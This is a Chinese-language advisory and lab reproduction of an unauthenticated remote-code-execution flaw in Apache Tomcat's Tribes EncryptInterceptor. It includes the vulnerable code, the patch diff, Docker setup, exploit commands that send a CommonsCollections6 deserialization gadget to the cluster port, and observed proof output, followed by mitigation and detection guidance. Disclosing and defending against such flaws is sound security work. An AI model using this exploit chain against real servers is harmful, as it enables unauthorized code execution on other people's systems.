跳转至

CVE-2026-34486 — Apache Tomcat Tribes EncryptInterceptor 失效开放型远程代码执行

发布于 2026-06-04

严重:未经身份验证的远程代码执行

能够访问 Tribes 集群接收端口(TCP)的攻击者,无需任何凭据或会话,即可在 Tomcat JVM 内部执行任意代码。

字段 详情
项目 Apache Tomcat
受影响组件 org.apache.tomcat:tomcat-tribes(集群)
严重级别 HIGH
CVSS 3.1 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE CWE-311(敏感数据缺少加密)
受影响版本 9.0.116、10.1.53、11.0.20(仅这三个单点版本)
已修复版本 9.0.117、10.1.54、11.0.21
GHSA GHSA-69r9-qgr7-g2wj
影响 未经身份验证的远程代码执行

1. 漏洞概述

Apache Tomcat 内置了名为 Tribes 的集群子系统,用于在多个节点之间同步会话状态。启用集群流量加密时,拦截器类 EncryptInterceptor 在将入站消息传递到后续处理管道之前负责解密。针对早期 CVE(CVE-2026-29146)的一次修复重构提交意外引入了"失效开放"条件:若解密过程抛出异常,原始未解密字节仍会被转发。下游管道最终会在没有类过滤的情况下调用 ObjectInputStream.readObject(),因此能够访问 Tribes 接收端口(默认 TCP 4000,无需身份验证)的攻击者,可发送构造好的 Java 序列化 Gadget 链,在 Tomcat JVM 内执行任意代码。

根本原因

文件: java/org/apache/catalina/tribes/group/interceptors/EncryptInterceptor.java
方法: messageReceived(ChannelMessage msg)

问题提交(Tomcat 11 对应 6d955cc,Tomcat 9/10 对应 607ebc0,标题均为"Add support for new algorithms provided by JPA providers")将 super.messageReceived(msg) 的调用从 try 块内部移到了 catch 块之后。decrypt() 抛出的异常被捕获并记录日志,但执行流程继续进入 super.messageReceived(msg),将原始未修改的字节转发出去。

漏洞代码(9.0.116 / 10.1.53 / 11.0.20):

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);     // throws GeneralSecurityException on bad input
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        // super.messageReceived() is NOT here
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
        // exception swallowed — execution continues
    }
    super.messageReceived(msg);   // BUG: raw bytes forwarded regardless of decrypt outcome
}

修复提交(Tomcat 11 对应 1fab40cc,Tomcat 10 对应 55f3eb91,Tomcat 9 对应 776e12b3)将 super.messageReceived(msg) 移回 try 块内部,GeneralSecurityException 将导致消息被静默丢弃而非转发:

@@ -140,10 +140,10 @@ public void messageReceived(ChannelMessage msg) {
             xbb.clear();
             xbb.append(data, 0, data.length);

+            super.messageReceived(msg);
         } catch (GeneralSecurityException gse) {
             log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
         }
-        super.messageReceived(msg);

修复生效后,解密失败会在 catch 块内终止消息处理,super.messageReceived() 不再被调用。未修复时,super.messageReceived() 最终会调用 XByteBuffer.deserialize(),该方法使用 ObjectInputStream.readObject() 且不进行类过滤,攻击者构造的含 Gadget 链(本次复现使用 CommonsCollections6)的字节序列会触发任意命令执行。


2. 漏洞复现环境

复现环境由单个 Docker 容器组成,使用官方镜像 tomcat:11.0.20-jdk17-temurin-jammy,并配置了包含漏洞 EncryptInterceptor 的 Tribes 集群通道。无需第二个集群节点:失效开放路径存在于接收方的入站处理逻辑中,单个节点即可在接收端口上处理任意到达的帧。

关键配置说明:

  • Tomcat 11.0.20 被精确固定。失效开放的 messageReceived() 仅存在于 9.0.116、10.1.53 和 11.0.20 这三个单点版本中,早期版本不受此漏洞影响(但可能存在早期的 CVE-2026-29146 问题)。
  • Commons Collections 3.2.1 被放置在 Tomcat 服务器类路径 /usr/local/tomcat/lib/commons-collections-3.2.1.jar(在 Dockerfile 中通过 SHA1 对 Maven Central 进行了校验),是 CommonsCollections 反序列化链可达的 Gadget 来源。
  • EncryptInterceptorserver.xml 中配置了静态 128 位 AES 密钥(cafebabecafebabecafebabecafebabe)。填充密码变体(AES/CBC/PKCS5Padding)使攻击者发送的未加密字节触发 IllegalBlockSizeException,即暴露失效开放路径的那个异常。
  • Tribes NioReceiver 在容器内绑定 0.0.0.0:4000,以 127.0.0.1:4000 暴露给宿主机,无任何身份验证。
  • JVM 通过 gosu非特权的 tomcat 服务用户(UID 999)运行。被劫持控制流创建的文件将归 tomcat 所有,验证步骤会检查这一身份。
  • 镜像构建时会创建归 tomcat 用户所有的 /marker 目录;入口点脚本在每次容器启动时清除所有陈旧的标记文件,确保每次运行都有干净的基线。

拓扑结构:

名称 角色 网络 端口
cve-2026-34486-tomcat 漏洞版本 Tomcat 11.0.20 节点 env_default 桥接网络 127.0.0.1:4000(Tribes 接收端),127.0.0.1:8080(HTTP)

启动环境:

下载环境文件 — env.zip — 或单独引用各文件:env/Dockerfileenv/docker-compose.ymlenv/config/server.xmlenv/config/entrypoint.sh

docker compose -f env/docker-compose.yml up -d --build

等待容器变为健康状态(健康检查会测试 Tribes 接收端套接字是否接受连接),然后确认环境版本正确:

# 1. 确认接收端可达
nc -z -w 3 127.0.0.1 4000 && echo "receiver up"

# 2. 确认确切的漏洞版本
docker exec cve-2026-34486-tomcat /usr/local/tomcat/bin/version.sh | grep "Server number"
# 预期输出: Server number:  11.0.20.0

# 3. 确认 EncryptInterceptor 已加载且接收端已绑定
docker logs cve-2026-34486-tomcat 2>&1 | grep -E "EncryptInterceptor|Receiver Server Socket bound"

# 4. 确认 Gadget 在类路径上
docker exec cve-2026-34486-tomcat ls /usr/local/tomcat/lib/commons-collections-3.2.1.jar

# 5. 确认标记基线为空,JVM 以服务用户身份运行
docker exec cve-2026-34486-tomcat bash -c 'ls -A /marker; ps -o user= -C java'

若要验证已打补丁的版本不受影响,可将基础镜像替换为 tomcat:11.0.21-jdk17-temurin-jammy,使用相同的 server.xml 重新构建,确认发送漏洞利用载荷后不会产生任何标记文件。


3. 漏洞利用过程

漏洞利用由三个 Python/Bash 脚本实现,无需 Java 工具链或 ysoserial Jar 包。下载利用文件 — exploit.zip — 或单独引用:exploit/run.shexploit/gadget.pyexploit/send.py

第一步 — 确认接收端可达且版本为漏洞版本

nc -z -w 3 127.0.0.1 4000 && echo "receiver up" && \
docker exec cve-2026-34486-tomcat /usr/local/tomcat/bin/version.sh | grep "Server number"

预期输出:receiver upServer number: 11.0.20.0

第二步 — 执行漏洞利用

编排脚本 exploit/run.sh 接受目标主机、端口和标记路径三个参数。标记路径应嵌入新鲜的随机数(nonce),以便将生成的文件归属于本次运行:

bash exploit/run.sh 127.0.0.1 4000 /marker/pwned-<NONCE>

run.sh 内部执行两个子步骤:

2a. 构建 CommonsCollections6 Gadget(纯 Python,无需 Java):

python3 exploit/gadget.py /bin/sh -c "touch /marker/pwned-<NONCE>" > /tmp/payload.bin

gadget.py 用 Python 构造 Java 序列化流,使用直接从 Commons Collections 3.2.1 和 JDK 17 运行时读取的正确 serialVersionUID 值和字段布局。调用链为:HashMap.readObject()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformerConstantTransformer(Runtime.class)InvokerTransformer("getMethod")InvokerTransformer("invoke")InvokerTransformer("exec", cmdArray)

2b. 将原始载荷封装为 Tribes 帧并以未加密方式发送:

python3 exploit/send.py 127.0.0.1 4000 /tmp/payload.bin

send.py 将序列化字节封装在 Tomcat Tribes 线协议信封(FLT2002TLF2003)中,包含有效的 ChannelData 结构和结构正确的 MemberImpl 数据块,然后通过普通 TCP 套接字将整个帧发送到接收端,不进行任何加密。在服务端,EncryptInterceptor.messageReceived() 尝试 AES 解密,收到 javax.crypto.IllegalBlockSizeException(输入长度不是填充密码所需的 16 的倍数),将其作为 GeneralSecurityException 记录日志,然后由于定位错误的 bug,使用原始未修改的字节调用 super.messageReceived(msg)。这些字节到达 XByteBuffer.deserialize()ObjectInputStream.readObject(),CommonsCollections6 链触发,Tomcat JVM 以 tomcat 服务用户身份执行 touch /marker/pwned-<NONCE>

第三步 — 通过独立渠道观察证据

标记文件通过特权 docker exec 调用进行验证,该调用完全独立于漏洞利用脚本本身的输出,使用 root 权限直接检查容器文件系统:

docker exec cve-2026-34486-tomcat stat -c '%U %u %n' /marker/pwned-<NONCE>

已验证复现运行中的实际观测结果(nonce 为 fb8f88e5b044e839):

tomcat 999 /marker/pwned-fb8f88e5b044e839
docker exec cve-2026-34486-tomcat ls -l /marker/pwned-fb8f88e5b044e839
-rw-r----- 1 tomcat tomcat 0 Jun  3 01:35 /marker/pwned-fb8f88e5b044e839

文件归属者为 tomcat(UID 999),即 JVM 内部的非特权服务用户,而非 root,也非运行漏洞利用脚本的宿主机。文件名中嵌入的 nonce 排除了预先放置或偶然创建的文件。漏洞利用脚本中不含任何 docker execopen() 或针对标记文件的 touch 操作;该文件只能由受害 JVM 内部执行的代码创建。

验证日志帧将此结果归属于 EncryptInterceptor.messageReceived 的失效开放路径:

docker logs cve-2026-34486-tomcat 2>&1 | grep -A4 "Failed to decrypt message"

实际观测到的日志输出:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-3]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:135)

日志中恰好出现了一条"Failed to decrypt message"记录,与单次漏洞利用运行对应。EncryptInterceptor.java:135 处的堆栈帧正是补丁移除的、位于 try 块外部的 super.messageReceived(msg) 调用点。

环境清理

完成后,停止并删除容器及其数据卷:

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复方案

升级到已修复的版本:

  • Tomcat 11: 升级至 11.0.21 或更高版本。
  • Tomcat 10: 升级至 10.1.54 或更高版本。
  • Tomcat 9: 升级至 9.0.117 或更高版本。

修复方案是对问题重构提交的部分回滚:将 super.messageReceived(msg) 移回 try 块内部,使解密过程中的 GeneralSecurityException 导致消息被静默丢弃(失效关闭),不再到达反序列化入口点。

仅影响特定版本

只有 9.0.116、10.1.53 和 11.0.20 这三个确切的单点版本受此特定漏洞影响。这些版本之前的版本不受 CVE-2026-34486 影响(但可能存在 CVE-2026-29146,即触发本次重构的早期填充预言机问题)。

缓解措施与临时方案

如果无法立即升级:

  • 禁用 EncryptInterceptor 失效开放路径仅在配置了 EncryptInterceptor 时触发。使用 Tribes 集群但未配置 EncryptInterceptor 的部署不会通过此路径暴露反序列化入口。从 server.xml 中移除该拦截器可消除此漏洞,但同时也会移除集群流量加密,需权衡取舍。
  • 通过防火墙限制接收端口访问。 将 Tribes 接收端口(默认 TCP 4000)的访问限制为受信任的集群对等节点。此漏洞仅对能够直接建立 TCP 连接到此端口的主机可利用。若集群对等节点均位于隔离的私有网络段,边缘防火墙可显著降低攻击面。
  • 从类路径中移除 Gadget 链。 在没有类过滤的情况下,ObjectInputStream.readObject() 需要服务器类路径上存在可用的 Gadget 链。从类路径中移除 Commons Collections 及其他可利用的 Gadget 库会降低 RCE 的可行性,但这不是可靠的缓解措施,底层失效开放 bug 仍然存在,且可能存在其他 Gadget 链。

检测方法

一次成功的攻击在命令静默执行前,服务端日志中会留下以下痕迹:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-...]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
    javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher

readObject 不会记录任何异常,命令执行是静默的。建议监控此日志模式,并与 Tomcat 工作目录下的异常文件创建事件进行关联分析。

参考资料